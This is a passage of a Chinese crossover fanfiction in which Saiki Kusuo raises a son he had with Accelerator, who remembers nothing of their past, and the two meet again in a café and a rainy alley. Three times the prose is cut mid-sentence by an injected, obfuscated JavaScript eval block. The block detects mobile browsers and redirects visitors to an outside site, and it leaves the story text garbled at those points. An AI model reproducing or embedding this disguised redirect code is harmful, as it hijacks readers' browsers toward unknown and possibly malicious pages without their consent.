体态娇小的白井黑子轻松地拎着个没来得及送回本部,被揍得半死不活的暴徒,一手叉腰,上一秒还在不满地嚷嚷着,下一秒就露出痴态,“啊!是幼年体的姐姐——大人——!!!” “痛痛痛痛!” “好久不见啊,黑子姐姐,御坂御坂努力地标达问候子情,并且尝四性地请求今天四不四可以只被捏脸三十下以内捏。”被袭击的最终之作大叫起来,口齿不清地说。 “啊,抱歉!因为太可爱了,实在是忍不住……” 后退一步放过小御坂的圆润脸蛋,“好了,因为获得姐姐大人能量而气势满满的黑子要开始工作了!” “嘛,这里是学园都市警备员,海藤先生是吧,不用惊讶,您胸口的名牌已经透露出相当多的信息了,关于您雇佣童工一事,我们有必要谈谈……”她的声音戛然而止,当一方通行试图去到心仪的位置迟迟享受这个悠闲的午间时,茶发女子叫住了第一位。 “accelerator。” 一方通行回头,只见黑子指着那个黑发小屁孩,满脸不可名状的表情,“这是你的私生子吗?” “……” “哈?” - 今天是下午班,齐木楠雄起床的时候夏上已经出门了,小朋友自己熬了粥,贴心地盛了放在餐桌上,虽然没什么爱心纸条,但齐木楠雄能想象那孩子摆着老成表情为他这个不靠谱的爹操心的样子。 想了想,齐木用超能力瞬移去附近的超市买了条鱼,打算回来水煮。 小朋友从小就喜欢吃水煮鱼,吃剩下的鱼汤拿去下面,夏上吃的时候脸都恨不得埋进碗里,认真投入的样子像只专注拱食的小猪。 本来齐木楠雄在厨艺上真的没什么天赋,学生时期有全职妈妈久留美包一日三餐,独立出去后在单位食堂苟活,实在不行还能瞬移到世界某角落里的美食店改善伙食,哪里还用得着自己下厨做饭。 然而意外诞生的小朋友让他在学会照顾自己之前,学会了照顾别人。 最初他打蛋要用念力,煎块培根下半锅油,铲子握都握不住,还要把火开到最大,一边在厨房闹得鸡飞狗跳,一边攒斗鸡眼观察卧室里熟睡的小包子有没有醒——他不是没找过龅牙楠雄他们帮忙照顾孩子,都被眼尖的小包子认出,不见到他本人誓不罢休,哭得可厉害了,几个楠雄都哄不好。偏偏齐木一来,小包子能瞬间噤声,含着眼泪珠子的水汪大眼睛滴溜溜转过来转过去,在他爸怀里打量周围几个看起来是他爸同胞胎兄弟的人。于是齐木带孩子基本都是亲力亲为。 虽然超能力能复原厨房,但垃圾桶里的蛛丝马迹还是暴露了他的不得要领。第二天久留美来看他,笑着问他是不是做饭失败,并且当场表演大变满汉全席的奇迹。 顶着日夜看小孩熬出来的熊猫眼圈的齐木楠雄本着“只要我不承认就没可以当做无事发生”的理念闷头吃饭,装作和他没关系。 小包子在摇篮里咯咯傻乐,说不准也在笑他爸的笨手笨脚。 随着夏上的长大,齐木的厨艺渐渐也还看得过去,不说有多么好吃,最起码不用担心吃死人了,夏上也从来没抱怨过。但即使是如此,他也很少下厨,父子俩各过各的,一个吃单位食堂,一个吃学校食堂,周末吃久留美的加餐。更何况夏上已经能学着菜谱能倒腾点东西吃,饿也是饿不死自己的,他就更没必要和厨房和自己过不去。 今天算是心血来潮。 他把食材放到灶台上,按照标准程序开始处理这条死相有些可怕的鱼。 鱼身上切开几条口子方便入味,葱花生姜等佐料切碎了加进锅里。电磁炉的火力低,熬鱼汤要花上不少时间。空闲了,他就开始打扫室内卫生。 但是自打起床,齐木心中就有种隐隐的不安。 总感觉今天要发生什么大事。 他的预感从没出过错,在接到那通陌生电话之前,他几乎每隔两分钟就要揭开锅看看鱼,以防其因为某种不可抗力变成一团浆糊。 接到那通电话后,他则毫不犹豫地赶往了现场。 海藤那个笨蛋,怎么做才能把自己变成非法雇佣童工的嫌疑犯啊? 然而瞬移出现在暗影咖啡厅门口的那一刹那,齐木后知后觉的想起自己没有先关火,水煮鱼变成浆糊是势在必得了。而店内靠窗位置坐着的几人让他很快反应过来—— 啊啊,原来这才是今天真正的灾难吗? 与此同时手机再度响起,出现在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088925|179627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 显示屏上的是一串熟悉的号码。 电话那头传来灰吕杵志元气满满的青春气息,高中时的班长现在正是他的同事,也是和他同住一小区的邻居,时常抬头不见,低头见。 “喔噢!齐木!我刚刚在超市看到你买鱼,想打招呼来着,可惜被服务员推销了新上市的猪肉,无奈错过。你是要做水煮鱼吗?我记得夏上喜欢是吧,水煮鱼你记得要放白萝卜,会鲜一点……” 「抱歉,恐怕现在来不及上临时厨艺班了。」 “……发生什么事了吗?” 「家里有点事,简单来说——」 齐木隔着玻璃看着某个过于瞩目的白发男人撑着下巴百无聊赖地低头玩手机,眨了眨眼,「我遇到孩子他妈了。」 - 学园都市第一位觉得自己修身养性多年的沉稳脾性有了松动的迹象,现在就是暴躁,很暴躁。 本来该忙碌着准备咖啡的店员唯唯诺诺地坐在隔壁桌等着挨训,喝上心心念念的咖啡几乎遥遥无期,一方通行滑手机的动作有些忿忿——他有点后悔自己的多此一举。 “已经联系了你父亲,他说一会儿就来。”白井黑子晃着手机走回来,笑眯眯地目光掠过唯唯诺诺像鹌鹑般瑟瑟发抖的犯罪嫌疑人海藤氏,来回打量旁边坐着的年轻服务员。 随后露出一个戏谑的笑容,“小accelerator。” 尝试安慰海藤的夏上不明所以,“accelerator?” “死人脸的名字。”说话者这样解释,黑子朝白发男人的方向示意了一下,表明自己指的是谁,她露出狡黠且意味深长的表情,揶揄道,“如果学园都市的第一位足够无聊的话,大概会来找他要名誉权吧。” 小御坂啃着随身携带的小熊饼干,“一方找一方要名誉权?御坂御坂沉浸在美味中但还是于百忙之中抽出空来疑惑。” “嘛,不过那是不可能的啦。第一位不是继任理事长了吗,统管学园都市可是很麻烦的事,可不会像是某人一样有空跑来喝咖啡。”黑子拍拍最终之作的脑袋。 “只是开个玩笑。”她笑眯眯地摆摆手,很不在意地往后一靠。 夏上:“……”开个玩笑?总觉得在暗示谁。 他偷偷看了一眼白发男人。 顺滑的白色发丝凌乱地挡在眼前,衬得本就白皙的皮肤更为透明,雌雄莫辨的侧容透着些许不耐烦。 是什么让他感到烦躁了吗?夏上不免猜想。 “看够了没有?”冷冰冰的声音忽然在耳边炸开,夏上险些没坐稳,然后除此之外,当事人似乎并不打算计较什么,他连头都没抬,只是微微皱起眉头问:“我什么时候能够喝上咖啡?” “唔,那恐怕你得换一家店了。”白井黑子说,“得先调查,一旦情况属实,得停业整顿。” 听到“停业”两个字,海藤瑟缩了一下,一方则眯了眯眼。 夏上企图第四十九遍解释,他真的就是来帮亲戚一个忙,却被眼前这个漂亮的警备员制止。 “那可不行,得等你父亲来问清楚了再说……” 她话音未落,门就被推开了。 不得不说海藤的设计确实有些精妙,至少对于咖啡厅内的人而言,任何一个哪怕低调到尘埃里的人从这道门经过,都会有种“老子于舞台中心闪亮登场,世界给爷颤抖吧”的既视感。 在群魔乱舞的“暗影守卫者”的簇拥下,顶着头黑色彩带出现的齐木楠雄甫一出现,就成了焦点。 “齐木!”这是海藤喜极而泣。 “齐木?”这是黑子拍桌而起。 这谁?不认识。确认自己与此无关后,置身事外的一方通行懒散地打了个呵欠,并不打算参与这场怎么看都不太简单的“亲友相认”。 就在他收回目光,打算划去下一个页面的时候,手机从手中滑落。 身体突然崩溃,他不受控制地栽倒。然而当一方通行的额头几乎快撞上实木桌面时,忽然跌进一片柔软里。 像云层一样,好温暖。 是某人的手心吗?似乎还有些颤抖。 不会吧,是因为他自己身体不受控制的原因吗? 余光可以瞥见粉毛陌生人不知何时已经来到了他的身边。叫什么来着?无法思考,那个人用手托着自己头,并且任由这副无力的身体肆意倚靠。 应该是属于对方的声音从头顶倾注而下,但他完全不能理解。 御坂网络被切断了。 5. 第五章 齐木楠雄沉默着将怀里人扶正,抬起一方的胳膊放到桌上,再将他的脸孔轻轻搁在肘部。做好这一切,他将目光慢慢移开。 「他不喜欢这种状态,会有不快感的。」 「你紧张了。」 熟悉的心灵感应传过来,原本如临大敌的最终之作瞬间像是被踩了尾巴的猫,警惕的神情露出动摇的松懈,“那、那是因为……” 「威胁没有完全排除以前,我不会成为他的牵绊。」 “你是想说你今天刚巧路过?”黑子抱臂,心道。 「虽然很没有说服力,但确实如此。而且,我是被你叫来的。」齐木楠雄歪了歪头,举起手机,「你们举报这家店雇佣童工,而我恰好是那位童工的父亲。」 “……” 听到来龙去脉,万万想不到眼前这位老熟人居然就是黑发少年的父亲,那么同时意味着……,白井黑子在短暂的惊愕后又了然地松了口气,她露出意味深长的笑容,“怪不得。” 怪不得这么像,某种意义上确实是私生子。 她的余光瞥向俄罗斯套娃里小的那个,那张与一方通行极其相似的稚气面容懵懵然,看来是对自己的父母爱情毫不知情,而且齐木楠雄似乎目前也没有透漏的打算。 一定程度上,倒是很有担当地自己抗住了嘛。 她看向不明所以的小孩儿,夏上显然被他爸踢出了对话频道,眨巴眨巴眼睛根本不知道这电光火石间的心灵交流,像只发呆的小鹅,“爸,那个人……他怎么了?” 铃科夏上偷偷观察着他爸的反应。他爸不动声色,还是摆着张扑克脸,面无表情。没反应,并非是认识的人吗?不知道为什么,夏上心里突然松快了很多,他还没做好与母亲见面的准备。 「咖啡重度爱好者的成瘾表现。」齐木楠雄说。 “噗!”黑子被这脑回路清奇的回答逗乐了,她怪异地抽抽嘴角,把笑意憋回去,“果然很想看accelerator知情后的表情啊。” 到时候我肯定会把今天这句话一字不落地转述的。 恶魔女人坏心思地想着。 - 一方通行现在很不爽。 因为御坂网络被切断的关系,他戴在脖子上的电极失效了。 现在状态的他别说是使用能力,就连最基本的控制身体、管理重心都做不到,不仅是完成扳扳手指就能解决的计算,估测时间的流逝都成了大问题,那帮人说的话也自动变成了乱码,让他完全理解不了。 虽说现下的情景实在是比过去数次失去能力时要更为舒坦,自己的肘部比起布满灰尘的废弃办公室地板和冰冷彻骨的雪原而言,实在是好太多,但不经过他本人的同意就来这么一出的讨厌感如出一辙。 Lastorder,那个矮子…… 等他能够控制身体,一定要扯够对方的肉脸颊,好好问清楚。 诞生这样的思考的瞬间,他能动了,“最——终——” 首先入耳的是最终之作吱哇乱叫的道歉,小丫头双手高举在头顶,做出诚恳请求的样子。 “你……” 道歉的理由是什么已经不重要了,幼稚又可笑的谎言自然无法让一方通行信服,但对方埋在双臂内的不消看也知道一定是可怜巴巴的眼神,也打消了他追根究底的念头。 一方哽住,他凝视着小姑娘,抬手—— 最终只是选择在其头顶敲打了几下,“下回不许擅自这么做。” 小御坂抬起头眼泪汪汪地应了两声。 黑子正一脚踩住随手带过来却一直没怎么管,于是蠕动前行想乘乱逃跑的暴徒,把他五花大绑地捆住,俨然已经忘记了之前那场意外的小插曲,“唷,能动了啊?某学园都市的热心市民?” “啧。” 她怎么还在这里? 他环顾四周,厅内已经没有了那三人的踪迹,透过玻璃门看去,那个蓝毛店长杵在门口似乎正在和另两人说着什么,大概是事情已经得到了解决。 黑子证实了他的想法:“是场误会,给亲属帮忙的话不算违法。” 她把暴徒拎起来,使用「空间移动」离开,空气中留下她的声音,“对了,咖啡记得喝,毕竟付了钱。” 一方通行漫不经心地低头,面前的桌子上不知何时已经摆了杯咖啡。 他捏着银勺子搅了搅,便升起腾腾的热气。 - 回家的路上,齐木走得跟溜小狗儿似的,夏上跟在他后面嗅了半天鼻子,不知道是哪家午饭做得香,勾了他的馋瘾。他就努力支开自己的注意力,“爸,你跟那警备员认识?” 「以前有过交集。」 “爸,你觉不觉得今天那个人长得和我很像?白头发的。” 「嗯,好巧,是挺像的。」 “那个警备员也这么说,我不会是大众脸吧。” “爸,你怎么能为了安慰海藤叔,把今天这三个人说成是支援呢,海藤叔又该脑补些奇怪的中二设定了。他的中二病迟迟不好,你得付主要责任。” 夏上一路絮絮叨叨,齐木也足够有耐心,有问必答。 然而小朋友到底是没忍住,进了自家楼道,一股属于鱼的香味最是醇厚浓郁,他终于缴械投降。 “爸,我想吃水煮鱼了。” 「回家。」他爸头也不回地开门。 夏上换完鞋,进厨房洗手,片刻后才后知后觉地探出脑袋,声音里透着轻快劲儿:“爸,你煮了鱼?我以为别家煮的呢。” 「不是你要吃的吗。」 齐木跟进厨房,揭开锅盖,万幸没成一团黑糊,鱼汤极富精神力的“嘟嘟嘟”往外冒泡。 谢谢你,龅牙楠雄:) 小朋友鲜少在自家锅里看到尸身如此之全的鱼,一惊三叹:“……我现在有点相信那杯咖啡是出自你本人之手,而不是被海藤叔附身了。虽然是我亲眼所见,但是爸,你打咖啡豆的动作也太熟练了吧。” “你什么时候练的?” 鱼汤味道有点淡,他爸在碗底撒了盐,把汤盛出来,往桌上一搁:「吃饭。」 夏上年纪还小,就算再怎么老成,也还是小孩心性,遇到开心的事遮不住,兴致上来了,就把本就随口一问的话抛到九霄云外去,欢快地像只横冲直撞的小熊,拿了双份的碗筷端上桌就坐:“我开动了——” 父子俩吃饭吃到一半,有人敲门。 夏上去开门,被扑了满怀,是灰吕松:“夏上!” 灰吕松的哥哥灰吕杵志和夏上的爸爸以前是高中同学。 本来毕业就各奔东西,加上学园都市拆迁改造,不出意外,这辈子是没什么交集了。但是灰吕松的妈妈和齐木夏上的奶奶作为小区打麻将协会名誉主席和名誉副主席,相见恨晚,一致希望再续前缘。 于是两家后来索性把房子买到了一块儿,前后栋挨着。 他爸育子早,据说高中毕业后不久就有了他。而灰吕松作为家里的二胎,和哥哥同学的儿子同岁,让拥有强烈抱孙心理的灰吕妈妈很酸,总是抱着灰吕松频繁上门拜访。 在这样的环境下,灰吕松和齐木夏上作为竹马一起长大。 一起上学,一起放假。平时串个门也就几分钟的事。 “你怎么来了?”夏上把这只红色的章鱼从身上扒下来,侧身让他进来。章鱼本人揉揉鼻子傻笑道:“那什么,是我哥让我来看看……” 「看什么?」 灰吕松走到客厅,眼瞧着齐木也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088926|179627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在,想起临走之前他哥的欲言又止,也觉得有些不对劲起来,但他哥什么都没跟他说,就说叫他来看看气氛,他怎么知道看什么气氛?小章鱼肚肠里转了一圈说辞都没找到合适的,气势霎时就矮了半截,说话也不利索了,“……就、就说是让我来看看。” 齐木捏着筷子皱起眉:「你哥人呢?」 “在家。”松讷讷回答。 对面沉默了片刻,最终传来回答。 「回去跟他说,没什么大事。」 灰吕松如蒙大赦。 送走青梅竹马,夏上端起自己的碗,碗里被他爸夹了几块鱼肉,堆的像小山一样,面对鲜滑多汁的鱼肉,却是好奇心占了上风,“灰吕叔怎么了?” 「他就这样喜欢操别人家的心。」 齐木又叨了一筷子菜扔夏上碗里。 - 吃完饭收拾完碗筷碟,把多的鱼封好塞进冰箱,夏上回房间睡午觉。当整个世界安静下来的时候,齐木楠雄独自坐在客厅里,这才发觉自己的手竟是控制不住的颤抖。 时隔十多年,他又一次见到了一方通行。 齐木想起那时初见。白发的孱弱少年歪站在那里,把企图将他堵在肮脏阴暗的拐角的渣滓们处理干净后,他慢慢回过头来,年久失修的路灯在那张苍白而瘦削的面容上投下昏黄光线,发丝下流淌的阴影交织着在他猩红的眼下刻出密密麻麻的伤痕。 少年好像随时都能融入那明明与白色相反,却意外的与之契合的黑暗般,眉眼间甚至连凉薄都不屑存放。 “你也是来找茬的吗?” 这是一方通行对齐木楠雄说的第一句话。 如果回答是,他大概得参照参照地上横七竖八躺着哀嚎的人们,如果回答不是,对方就此沉默着消失。 他选择当场把自己变成痴呆:) 少年插着裤兜擦过的时候,齐木清晰地听到他喉咙中模糊的发音。 咖啡果冻。 鬼使神差的,齐木叫住了他:「你想尝尝吗?」 现在想起来,那时候的一方通行因为参加绝对能力者,已经把自己逼到退无可退的路上,又因为被上条当麻打败,而成为所有人想扯下云端的目标,早站在了深渊的边缘摇摇欲坠。 如果当时没拉住,恐怕以后就再也拉不住了吧。 说起来他们之间的感情推进少了同龄少男少女们的犹豫和温吞,反而意外地贴合了双方性格的雷厉风行,先同居后恋爱,迅速进入老夫老妻模式,几乎是一气呵成。然而在双方还没来得及适应感情结出的果实时,他们又踉踉跄跄地被卷入许多无法控制的突发事件中。 没过多久,两个人就分开了。 最终齐木接受了他们之间唯一的联系,那个于实验室里长大的胚胎,并取名为夏上。 对此,一方通行本人毫不知情,不仅不清楚自己在这世上还存在着一个有血缘关系的孩子,对于他曾经爱过的另一方姓甚名谁,乃至恋爱这件事本身,都是一片空白。 用最终之作的话来说,十几年前她就已经把这些记忆打包丢进了御坂网络最边缘最角落的文件夹里,并且保证一方通行没有权限阅读。 久别重逢不可怕,可怕的是只有你这么觉得。 齐木看看自己的手,又看看周围的家中摆设,无处发泄的精力膨胀到让他觉得自己不能再这么干坐着,得找点事情填充。他立马决定要改变家居的位置。 重置,全部重置! - 夏上是被家里窸窸窣窣的声音吵醒的。 他揉着惺忪的睡眼打开房门,一眼看到客厅里家中的摆设飞来飞去。小朋友沉默地看了会儿他爸,决定关上门再睡一觉。 嗯,一定是他没睡醒。 6. 第六章 上条当麻推开会议室的门,一眼就看到沙发上躺着的白发男人。 睡前未曾看完的书随意地搭在胸口,窝在沙发里的慵懒睡姿不像是执掌大权的学园都市理事长,甚至比起高中溜出来打游戏的网瘾少年,更像是只懒洋洋的猫。 一方通行睡得不死,无论别人多么蹑手蹑脚,他都会被惊醒,更何况上条当麻不太轻柔的动作使得年久失修的门轴发出了扰人的嘎吱声。 他没睁眼,哼出一道鼻音:“会议结束了?” “……还是翘班跑出来偷懒?” 门口的刺猬人先是一怔,尔后有些不好意思的挠头,“嘛,也不算翘班啦,我可是正儿八经请假出来透透风的。” “唔。” “怪不得他们找了一圈没见到你,原来我们的面试主考官先生躲在这儿。”上条靠在门框上叹气道,“看来得感谢那些冥顽不灵的老头子让我们在此相遇,怎么会有人说话无聊到这种程度,我要是再不出来,大概会直接在里面昏过去。” 他问:“长点上机学园的人说话都这么拐弯抹角?” 上条问完就觉得自己犯蠢了。 对方可是著名的幽灵学生来着,就算是享誉盛名的龙头高校,身为学园都市的第一位,学生时代的一方通行踏没踏进过长点上机学园的大门都说不定。 嘛,虽然第一位先生现在是长点上机一般入试的面试主考官。 果不其然—— “我怎么知道,我又没在这里上过学。” 一方通行用肘关节慢慢撑坐起来,打了个呵欠,眉眼间带着十足的困倦,拨弄额前碎发的动作像足了大型猫科动物。 说到底血缘真的是份很奇妙的东西,人们大都认为这是联系人与人之间最为坚固的纽带。两个人之间的相似行为本来解释为生态环境接近,导致性格、行为习惯的趋向化,然而血缘的坚固桥梁却让他们哪怕长达十几年的时间分隔两地,也不影响行为的一致性。 上条盯着夏上发呆,心想不愧是亲生的。 两张高度相似的脸逐渐重合,就连他们拨弄碎发的动作也仿佛被按下了复制键——对于齐木楠雄不仅基因喂了狗,耳濡目染的生活习性也喂了狗这方面,他深表同情。 这边上条从夏上脸上琢磨一方的影子,被如炬目光迫害的少年则是浑身起鸡皮疙瘩。小朋友瞅瞅自己碗里的吸溜地只剩汤水的残羹,又瞅瞅他叔面前自从上桌就没被光顾过荞麦面完尸,又困惑又茫然:“叔,你想什么呢?” “叔?” “上条当麻!” “嗯?”上条瞬间惊醒,“怎么了?……喂,有你这么叫长辈大名的吗!” “还不是因为喊你好几遍你都不回声。”夏上抽纸擦嘴,眨巴着眼,表情无辜,“我还以为你们成年人的正经工作就是发呆呢。” 上条搅了搅碗里坨得像砖头的面,“胡说八道。哪儿学的嘴贫?” “那你老盯着我干什么?” 筷子磕在碗壁上叮叮当当,上条被问地语塞,“咳咳”两声险些被自己的口水呛着。他看着夏上的眼睛,无论如何都下不去嘴,难道他要说我正研究你妈和你的相似度……吗? 他当初知道夏上要姓“铃科”的时候惊得下巴都要掉了,恨不得要扒开齐木的脑壳看看里面水多深。“你要给她造一个虚假的母亲?”上条当麻一脸“你没开玩笑吧”的表情看着齐木楠雄。 “也许三年、五年,就算十年、八年,你和一方通行也总会再见的。到时候你怎么和夏上解释?不好意思你妈是假的,还是实在抱歉啊爸爸我爱上男人了?” 对此,齐木楠雄只是低垂着眼睛,目光柔和地落在摇篮里小团子身上。 「他的成长,不能没有一位完整的母亲。」 给他一个完整的母亲……吗? 上条当麻盯着眼前开朗天真的小孩儿。 书写一位血亲的过去,以告这孩子将来。 铃科夏上是那么像一方通行,他也曾经考虑过,如果一方通行能在一个正常的、充满爱的家庭环境中长大,是不是也会长成一个活泼、傲娇又臭屁的少年。 “嗯?”臭屁小孩儿一歪脑袋。 上条当麻顺手就找了个借口:“哦我在想你拜托我的那事。” 夏上和他说过自己意欲去普通高校上学的事。小朋友闻言眼睛都亮了,“怎么说?” “那当然行啊。”上条窃喜自己转移话题的才能,低头嗦了口面,虽然有点嗦不动,声音含含糊糊,“今年第七学区好几个普通高中合并,准备扩大招生名额,你到时候准备好材料,我帮你办手续。” 夏上有点怀疑:“不会是走后门那种吧?” “咳咳。”上条又差点吃呛着,“你想什么呢,虽说是本理事长亲自办成,但走的可是正经流程。” 确实。好巧不巧的是今年教育改革,第七学区以上条母校为核心重组,上条当麻被推举为联合高校的理事长。因此他得以受邀来位于十八学区的长点上机学园参加高校新教育交流会,这才遇到一方通行。 “嗯,那就好。”夏上点点头,“我就是想普普通通入学,走特殊渠道也太引人注目了。” 也就扮猪装蠢这种事像齐木了。 上条当麻再次表达同情。 然而上条又像是突然想起什么事来般,猛地撂下筷子,“对了,你之前不是去长点上机学园参加一般入试了吗,考得怎么样?” “我是说,”他觉得自己的舌头就没这么难转弯过,艰难措辞,“面试的时候你就没注意到什么……人?” 上条发问的内在逻辑很简单,作为主考官的一方通行怎么着也已经和夏上打过照面了。 “我交了白卷,连面试都没进。”夏上一副事不关己的样子,寡淡的样子像当事人不是自己似的,“能遇到什么人?” 上条:“……” 为了变普通,你牺牲还挺大啊。 不过还好没遇到,两个一大一小的模子撞一块儿,那画面,想都不敢想。 他不禁疑惑这么多年来齐木楠雄到底是怀揣着怎样的心情,看着自家儿子越长越像心底的那棵白菜。曾经按下快捷键被迫跳过的那些画面,逐渐开始蠢蠢欲动着复苏,向超能力者叫嚣着自己的存在了吧。 上条当麻不可避免地回想起,自己得知齐木楠雄单方面和一方通行分手时的心情。 彼时他又躺在医院里,闻得消息,惊得垂死病中惊坐起,直接一个电话打过去:“真分了?” “不是吵架赌气明天就和好的那种?不是打生打死打完旧情复燃的那种?” 电话那头不止有孩子吵闹的嗯嗯啊啊声,还有齐木楠雄又疲惫又头疼的哄孩子专用少男音。 “你俩还有个孩子??”他吓得都要站起来了。 突然,太突然,和看到亚雷斯塔女体化的那个瞬间一样感到突然。 好友分手后独自抚养孩子这个重磅炸弹炸了他足足三天,三天后,他在出院庆祝仪式上见到了那个孩子。孩子打糯米糍团时期起就长得像一方通行亲生的。上条摸摸孩子的头发,又掐掐孩子的脸蛋儿,众目睽睽下贴脸开大。 “等孩子大了,会不会就和好了?” 可是十四年过去了,路边的狗在学院都市溜达久了都眼熟了,两个人愣是没偶遇一次。 忍人。上条当麻评价,学园都市第一忍人。 - 偌大的雨点砸在伞面上,远处深色的云层笼罩着灯火辉煌的高楼大厦,学园都市又开始没完没了的下雨,灰蒙的水帘好似割开了这座城市繁华的表皮,流露出孤寂与清冷。 地面到处是积水溏,鞋面也扑满细密的水珠。 夏上别过上条,好不容易抵达那家享誉盛名的小鹿家甜品店时,柜台内的服务员却只能给他一个恭敬又抱歉的九十度鞠躬,“实在不好意思,今日份的咖啡果冻都卖光了!” 虽然这家店一向是手工制作,但咖啡果冻作为冷门甜品,居然售罄吧!? 看来今天运气不佳。夏上想:完了,今晚要看到他爸因为一天吃不上咖啡果冻,而瞬间变成失去人生理想的黑白色咸鱼了。 小朋友两手空空地离开店铺,没走几步,在一条细长的直线巷道里, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088927|179627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他突然在这死寂的世界里注意到一抹亮色。 那是道纤细修长的身形,昏黄的晚灯给那头雪白的发丝和苍白的精致面容镶上一层橘光,隐匿在发丝中的红色眼眸微微眯着。 是一方通行。 他没打伞,右臂单单倚着手杖,任由那些不太温柔的雨水将自己淋地湿透,半透的白色T恤勾勒出匀称瘦削的肌肉弧度,营造出一种说不清道不明的微妙氛围。挂在手腕上的便利袋里塞满了熟悉的包装,撑得鼓鼓的——全是咖啡果冻。 光就表面看来,这家伙就是把咖啡果冻抢购一空的罪魁祸首。 男人一面缓慢地行走在大雨中,一面四下打探着,似乎在辨认什么东西。他前方不远的黑暗里,四个凶相毕露的男人依靠着粗制水泥墙,不怀好意的打量着灯光下的白发男人,他们背后的手中握着的匕首在雨夜里折射出凌冽的寒光。 “不好意思啊,前方可没什么路了。”为首的大汉说。 虽然说的很客气,但终究掩饰不了自己仗着夜色渐沉,行人稀少,在路边捡软柿子捏的狼子野心,他们拦住打算转身的一方通行,“但是你想走,估计也没那么容易。” 眼看着那几人要将一方通行围住,夏上连忙打着伞跑过去喊了一声“爸”! 他在歹徒们狐疑的目光中挽住男人捏着没什么肉感的纤细胳膊,不由分说地拽着往回走,“您怎么走到这儿来了,我找你找好久啦。咱们回家……” 小孩儿嘛,一紧张起来演技本来就拙劣,偏偏吃红利的那方还要拆台。一方表情淡漠地打断他:“你谁?” 男人看着瘦,力气倒也不小。他打定主意不走,夏上也拉不动他。 我是谁不重要,你倒是看看现状,给点面子啊。小朋友一秒使了几十个眼色。 一方又一副索然无味的样子开口:“天真。” 夏上:“……”所以你是看懂了但觉得这种行为很无聊且没什么效用,所以不太想配合? 当然事实也正如此,突然出现的少年虽然能打断歹徒们的威胁,但并不可能让他们产生退缩的念头,对方只会因为多了只猎物而更加兴奋,就像现在这样—— “原来是想当英雄啊,有正义感是好事,人家可不怎么买你的账呢。”其中一人饶有兴趣的咂嘴,“高中生吗?父母有没有和你说过一个人的时候少逞强,小鹿宝宝会被狼吃掉的哦~” 然而话音未落,他随之转过方向对准夏上的匕首,忽然消失了。 “什……什么?怎么回事!”男人抓了装空空如也的两手,下意识地后退几步,却发现不只是他,身后的同伴几乎都是如此。 “在这里哦。” 夏上抖抖自己的拎包,里面传来乱七八糟的铁器碰撞声。少年“唔”了一声:“挺重的嘛,看来除了匕首,你们还带了不少武器。” 有人反应过来,“能力者?” “答对了。”夏上点点头,眨眨眼笑道:“怎么样?现在可以让我们走了吗?嘛,虽然不能要求整个学园都市都是遵纪守法的好市民,但希望大家都能识时务一点——” “居、居然是能力者吗,我好害怕……”男人惊慌地诉说着自己的措手不及。 然而下一个瞬间,他的面目扭曲起来,“……才怪!” “能力者又怎么样,带着个瘸子你还想全身而退?” 夏上背后的墙壁忽然被捅穿一个大口子,破墙而出的机械臂闪着银色的弧光,伴随着马达发动机的巨大声响,冲着少年的脖子抓来。与此同时,其余人等齐齐发难,三人嘶吼着挥拳向夏上,剩下个贼眉鼠眼穿涂鸦背心的瘦子挡在一方通行面前。 瘦子笑得五官挤作一团:“得手——” 下一个瞬间,他的声音戛然而止,像是有什么看不见的东西扼住了他的脖子,男人胡乱的抠挖着,膨胀的经脉凸起夸张的弧度,在皮肤表面勾勒出可怖的纹路。他挣扎了一会儿,就失去了声音。 “不用对他们太客气,他们可是……”一方通行突然说,他的声音很轻,几乎被周围此起彼落的断筋碎骨的声音所掩盖,“抢劫后杀人灭口的惯犯啊。” 7. 第七章 雨还在下,夏上回过神来时,凶神恶煞的邪恶成年人们就以各种怪异的姿势横七竖八地“昏睡”在了地上——虽然单就他们无法安宁的扭曲表情和一方通行那件白T恤上飞溅的血迹来看,“昏睡”这样的字眼或许有点太过含蓄…… “放心吧,不会死的,只是看起来伤得很严重而已。” 和夏上不同,毫无疑问是“作俑者”的白发男人连半个眼神都未曾施舍给这一地的败者。但他说的没错,场面看起来确实有些骇人,但至少这些人尚存呼吸,没有为此送命。 夏上的目光粘着对方,“……好厉害。” 只需要一瞬间就能决定战局的实力正被眼前的人拥有。 “谈不上多强。”一方通行再次按下电极上的按钮,口吻稀松平常,“只不过是个恰巧有能力,且看不惯天真小屁孩的成熟成年人罢了。” 小朋友很快反驳,“这才不是天真。” 虽然身为lv4的他居然手下留情——如果他愿意,可以做到将匕首直接转移到恶徒身体里的程度——最开始就这么做的话,显然不会把自己置身险境。夏上承认自己轻敌了,但他知道对方不是在这说这个,而是指他多管闲事,指他自以为能够帮助别人的天真心情。 